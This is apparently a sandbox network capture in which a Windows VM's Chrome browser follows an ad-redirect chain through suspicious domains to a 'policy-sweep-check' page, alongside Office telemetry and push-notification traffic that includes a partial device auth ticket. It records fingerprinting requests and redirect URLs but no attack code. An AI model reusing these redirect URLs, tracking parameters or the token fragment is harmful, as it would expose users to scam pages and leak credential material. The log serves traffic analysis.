2024-10-14 22:39:53 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.6	49822	139.45.197.244	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:53 UTC	1381	OUT	POST /?z=8079706&syncedCookie=true&rhd=false HTTP/1.1 Host: oughoaghushouru.net Connection: keep-alive Content-Length: 12267 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" Upgrade-Insecure-Requests: 1 Origin: https://oughoaghushouru.net Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://oughoaghushouru.net/afu.php?zoneid=8079706&var=8079706&rid=X9ByeUB6lykvSb0mSmFbHw%3D%3D&rhd=false&ab2r=0&sf=1&os=windows&os_version=10.0.0&is_mobile=false&browser_version=117.0.5938.134 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: oaidts=1728945591; OAID=0080f52b8e41436deb287525cd342cae; captcha=player
2024-10-14 22:39:53 UTC	12267	OUT	Data Raw: 72 62 3d 62 31 64 68 48 2d 34 4c 49 4d 4a 64 45 49 42 49 59 76 4b 39 6e 38 38 62 71 4b 47 78 54 44 70 5a 75 31 68 6d 5a 30 51 53 44 34 79 43 34 49 54 53 36 74 31 2d 68 46 48 30 44 5a 64 4d 54 46 66 36 43 66 76 6e 62 5a 32 31 74 4b 49 32 2d 65 74 39 41 77 4a 73 5a 36 52 73 79 6a 55 5f 33 36 2d 59 37 51 6f 71 59 45 4e 57 78 68 72 65 6d 47 46 44 75 72 70 55 58 63 64 67 34 75 44 6f 71 53 4a 76 37 51 35 30 67 65 66 51 4a 63 6a 67 35 70 41 35 52 6f 6b 44 65 4b 43 57 78 62 51 64 44 34 6d 49 63 68 6e 50 71 6a 77 63 4b 6a 32 63 6c 57 5f 78 33 59 4f 76 47 31 49 76 35 2d 4d 63 56 49 2d 30 65 54 66 32 42 5f 51 47 49 63 5a 76 4e 64 38 64 5f 52 74 70 74 58 4f 30 6f 6d 77 45 32 55 52 57 52 51 38 37 6e 30 78 6e 56 73 30 77 33 45 74 6d 43 52 74 79 49 61 61 33 2d 59 44 41 Data Ascii: rb=b1dhH-4LIMJdEIBIYvK9n88bqKGxTDpZu1hmZ0QSD4yC4ITS6t1-hFH0DZdMTFf6CfvnbZ21tKI2-et9AwJsZ6RsyjU_36-Y7QoqYENWxhremGFDurpUXcdg4uDoqSJv7Q50gefQJcjg5pA5RokDeKCWxbQdD4mIchnPqjwcKj2clW_x3YOvG1Iv5-McVI-0eTf2B_QGIcZvNd8d_RtptXO0omwE2URWRQ87n0xnVs0w3EtmCRtyIaa3-YDA
2024-10-14 22:39:53 UTC	1699	IN	HTTP/1.1 302 Found Server: nginx Date: Mon, 14 Oct 2024 22:39:53 GMT Content-Length: 0 Connection: close X-Trace-Id: 278185843964a417e28e88f669a9b737 Link: <https://phaivusaido.com>; rel="preconnect dns-prefetch",<https://yonmewon.com>; rel="preconnect dns-prefetch",<https://sr7pv7n5x.com>; rel="preconnect dns-prefetch" Referrer-Policy: no-referrer Location: https://phaivusaido.com/policy-sweep-check.htm?offer_id=99275599&geo=US&oaid=0080f52b8e41436deb287525cd342cae&s=869823461617578654&z=8079706&b=21546778&var=&campaignid=14083&utm_campaign=&utm_medium=8079706&utm_source=zd_14083&utm_term=21546778&utm_content=zd_public_v2&country=US Accept-Ch: Sec-CH-UA, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version Access-Control-Allow-Origin: https://oughoaghushouru.net Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, baggage, sentry-trace, favicon Access-Control-Max-Age: 86400 Pragma: no-cache Cache-Control: no-transform, no-store, no-cache, must-revalidate, max-age=0 Expires: Tue, 11 Jan 1994 10:00:00 GMT Timing-Allow-Origin: * Set-Cookie: OAID=0080f52b8e41436deb287525cd342cae; expires=Tue, 14 Oct 2025 22:39:53 GMT; path=/; secure; SameSite=None Set-Cookie: oaidts=1728945591; expires=Tue, 14 Oct 2025 22:39:53 GMT; path=/; secure; SameSite=None Set-Cookie: syncedCookie=true; expires=Mon, 21 Oct 2024 22:39:53 GMT; path=/; secure; SameSite=None Strict-Transport-Security: max-age=1 X-Content-Type-Options: nosniff Timing-Allow-Origin: *

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.6	49823	139.45.195.8	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:53 UTC	734	OUT	POST /img.gif?f=merge&userId=0080f52b8e41436deb287525cd342cae&z=8079706&p_rid=010be0c3-d8ef-4b81-8363-d3a6d5db9249&p_src=sf HTTP/1.1 Host: my.rtmark.net Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://oughoaghushouru.net Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://oughoaghushouru.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ID=0080f52b8e41436deb287525cd342cae
2024-10-14 22:39:53 UTC	685	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 14 Oct 2024 22:39:53 GMT Content-Type: image/gif Content-Length: 43 Connection: close Access-Control-Allow-Origin: https://oughoaghushouru.net Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, Authorization,X-CSRF-Token Access-Control-Expose-Headers: Authorization Access-Control-Allow-Credentials: true Timing-Allow-Origin: * Set-Cookie: ID=0080f52b8e41436deb287525cd342cae; expires=Tue, 14 Oct 2025 22:39:53 GMT; secure; SameSite=None Strict-Transport-Security: max-age=1 X-Content-Type-Options: nosniff Timing-Allow-Origin: *
2024-10-14 22:39:53 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.6	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:53 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-14 22:39:53 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:53 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 6fbaa347-101e-0034-2f47-1c96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241014T223953Z-17db6f7c8cfmhggkx889x958tc000000046g00000000aeqc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-14 22:39:53 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.6	49830	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:53 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 32 54 31 69 50 71 64 69 33 6b 79 56 73 39 6f 37 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 64 32 39 35 32 62 37 32 33 30 65 61 66 33 32 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 2T1iPqdi3kyVs9o7.1Context: ad2952b7230eaf32
2024-10-14 22:39:53 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-14 22:39:53 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 32 54 31 69 50 71 64 69 33 6b 79 56 73 39 6f 37 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 64 32 39 35 32 62 37 32 33 30 65 61 66 33 32 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 66 72 79 68 67 75 52 68 53 36 49 68 71 69 33 79 55 45 39 75 69 58 79 63 5a 61 30 73 30 4e 49 61 41 4b 32 56 74 65 65 6c 51 43 4f 39 6c 36 61 32 54 52 64 4a 43 74 73 53 7a 74 77 77 74 63 4c 63 4f 59 50 4d 58 46 32 52 79 45 74 66 5a 47 74 2f 2f 4a 34 78 39 67 51 6a 30 30 79 71 38 49 74 39 30 6d 65 36 55 6a 78 6b 43 76 5a 6e 68 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 2T1iPqdi3kyVs9o7.2Context: ad2952b7230eaf32<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAfryhguRhS6Ihqi3yUE9uiXycZa0s0NIaAK2VteelQCO9l6a2TRdJCtsSztwwtcLcOYPMXF2RyEtfZGt//J4x9gQj00yq8It90me6UjxkCvZnh
2024-10-14 22:39:53 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 32 54 31 69 50 71 64 69 33 6b 79 56 73 39 6f 37 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 64 32 39 35 32 62 37 32 33 30 65 61 66 33 32 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 2T1iPqdi3kyVs9o7.3Context: ad2952b7230eaf32<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-10-14 22:39:53 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-14 22:39:53 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 41 66 68 61 2b 51 79 79 43 30 36 65 78 33 51 41 43 63 61 78 67 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: Afha+QyyC06ex3QACcaxgg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.6	49831	139.45.197.244	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:53 UTC	1620	OUT	GET /?rb=h41RbpjUfm_qezmYzy9pIg9mlIi-f8HIT5NCeikxr11M_389I7E9AD9nLHVqmh6T_KddQBzce-JN28rtoJXc3BFC19zHCYwqvB_-YolKIUq70v33FpAnXcTDS0ltRITij9SrZZHt5B1K5y3GjGmhKtW8AjNrOaaUjt5pM4ev59qlNzNDGWu_nC2LMVGJ0MulG6qU4H_vtCv8VU1ftJxA-6GMisbOKxBf0mrehPqFnPxa187DdqBHsQNzCDHLXNpoIozX6Jn2R3BQGIEpKvBA3JoqRlKqzqByAWUIYStOT9e_q713K9t-8XEkvL5VijP-HXTHQQb6ofDNeVZb6D5X8Q%3D%3D&request_ab2=0&zoneid=8079706&js_build=iclick-v1.976.0&jsp=1&fs=0&cf=0&sw=1280&sh=1024&wih=907&wiw=1280&ww=1280&wh=984&sah=984&wx=0&wy=0&cw=1275&wfc=39&pl=https%3A%2F%2Fwww.mycimalive.com%2F&drf=&np=1&pt=0&nb=1&ng=1&ix=0&nw=1&tb=false&btz=America%2FNew_York&bto=240&tt=3&wgl=ANGLE%20(Google%2C%20Vulkan%201.3.0%20(SwiftShader%20Device%20(Subzero)%20(0x0000C0DE))%2C%20SwiftShader%20driver)&js_build=iclick-v1.976.0&navlng=en-US&vsbl=false&pnt=0&pnrc=0&bml=1&bmi=1&bs=c4386095-4dc2-4ed2-b185-61bb729e2c55&wasm=1&userId=0080f52b8e41436deb287525cd342cae&os=windows&os_version=10.0.0&is_mobile=false&browser_version=117.0.5938.134&m=link HTTP/1.1 Host: oughoaghushouru.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.mycimalive.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.mycimalive.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: oaidts=1728945591; OAID=0080f52b8e41436deb287525cd342cae; captcha=player
2024-10-14 22:39:53 UTC	1235	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 14 Oct 2024 22:39:53 GMT Content-Type: application/json Content-Length: 5438 Connection: close X-Trace-Id: b9530a2770ba40d99a271e170924aea5 Accept-Ch: Sec-CH-UA, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version Access-Control-Allow-Origin: https://www.mycimalive.com Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, baggage, sentry-trace, favicon Access-Control-Max-Age: 86400 Pragma: no-cache Cache-Control: no-transform, no-store, no-cache, must-revalidate, max-age=0 Expires: Tue, 11 Jan 1994 10:00:00 GMT Timing-Allow-Origin: * Set-Cookie: OAID=0080f52b8e41436deb287525cd342cae; expires=Tue, 14 Oct 2025 22:39:53 GMT; path=/; secure; SameSite=None Set-Cookie: oaidts=1728945593; expires=Tue, 14 Oct 2025 22:39:53 GMT; path=/; secure; SameSite=None Set-Cookie: syncedCookie=true; expires=Mon, 21 Oct 2024 22:39:53 GMT; path=/; secure; SameSite=None Strict-Transport-Security: max-age=1 X-Content-Type-Options: nosniff Timing-Allow-Origin: *
2024-10-14 22:39:53 UTC	5438	IN	Data Raw: 7b 22 62 61 6e 6e 65 72 49 64 22 3a 32 32 32 38 33 31 37 33 2c 22 63 61 6d 70 61 69 67 6e 49 64 22 3a 38 37 33 33 31 38 32 2c 22 64 73 74 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 6b 75 6d 70 6f 61 70 68 79 2e 63 6f 6d 2f 3f 62 3d 32 32 32 38 33 31 37 33 5c 75 30 30 32 36 62 61 3d 31 5c 75 30 30 32 36 63 61 6d 70 69 64 3d 38 37 33 33 31 38 32 5c 75 30 30 32 36 64 69 64 3d 32 5c 75 30 30 32 36 64 6d 3d 31 5c 75 30 30 32 36 66 70 3d 31 5c 75 30 30 32 36 67 3d 55 53 5c 75 30 30 32 36 6c 3d 4b 33 63 6f 34 75 39 59 41 7a 6a 79 33 72 4d 5c 75 30 30 32 36 6f 61 69 64 3d 30 30 38 30 66 35 32 62 38 65 34 31 34 33 36 64 65 62 32 38 37 35 32 35 63 64 33 34 32 63 61 65 5c 75 30 30 32 36 73 3d 38 36 39 38 32 33 34 36 35 31 31 39 38 31 33 38 30 39 5c 75 30 30 32 36 73 Data Ascii: {"bannerId":22283173,"campaignId":8733182,"dstUrl":"https://kumpoaphy.com/?b=22283173\u0026ba=1\u0026campid=8733182\u0026did=2\u0026dm=1\u0026fp=1\u0026g=US\u0026l=K3co4u9YAzjy3rM\u0026oaid=0080f52b8e41436deb287525cd342cae\u0026s=869823465119813809\u0026s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.6	49833	185.199.108.133	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:53 UTC	567	OUT	GET /davatron5000/FitVids.js/master/jquery.fitvids.js HTTP/1.1 Host: raw.github.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://sqsq2938.blogspot.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:53 UTC	440	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 0 Location: https://raw.githubusercontent.com/davatron5000/FitVids.js/master/jquery.fitvids.js Accept-Ranges: bytes Age: 0 Date: Mon, 14 Oct 2024 22:39:53 GMT Via: 1.1 varnish X-Served-By: cache-lga21986-LGA X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1728945593.459502,VS0,VE35 Vary: Accept-Encoding X-Fastly-Request-ID: d5161d1d59202adb5a31a38179cc47890a88c448

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.6	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:53 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-14 22:39:53 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:53 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 23cc8f65-401e-0048-2a25-1c0409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241014T223953Z-17db6f7c8cfpm9w8b1ybgtytds00000004w000000000kfdq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-14 22:39:53 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.6	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:53 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-14 22:39:53 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:53 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 5355bdce-701e-0021-10ea-1a3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241014T223953Z-17db6f7c8cfhrxld7punfw920n00000005u00000000074mt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-14 22:39:53 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.6	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:53 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
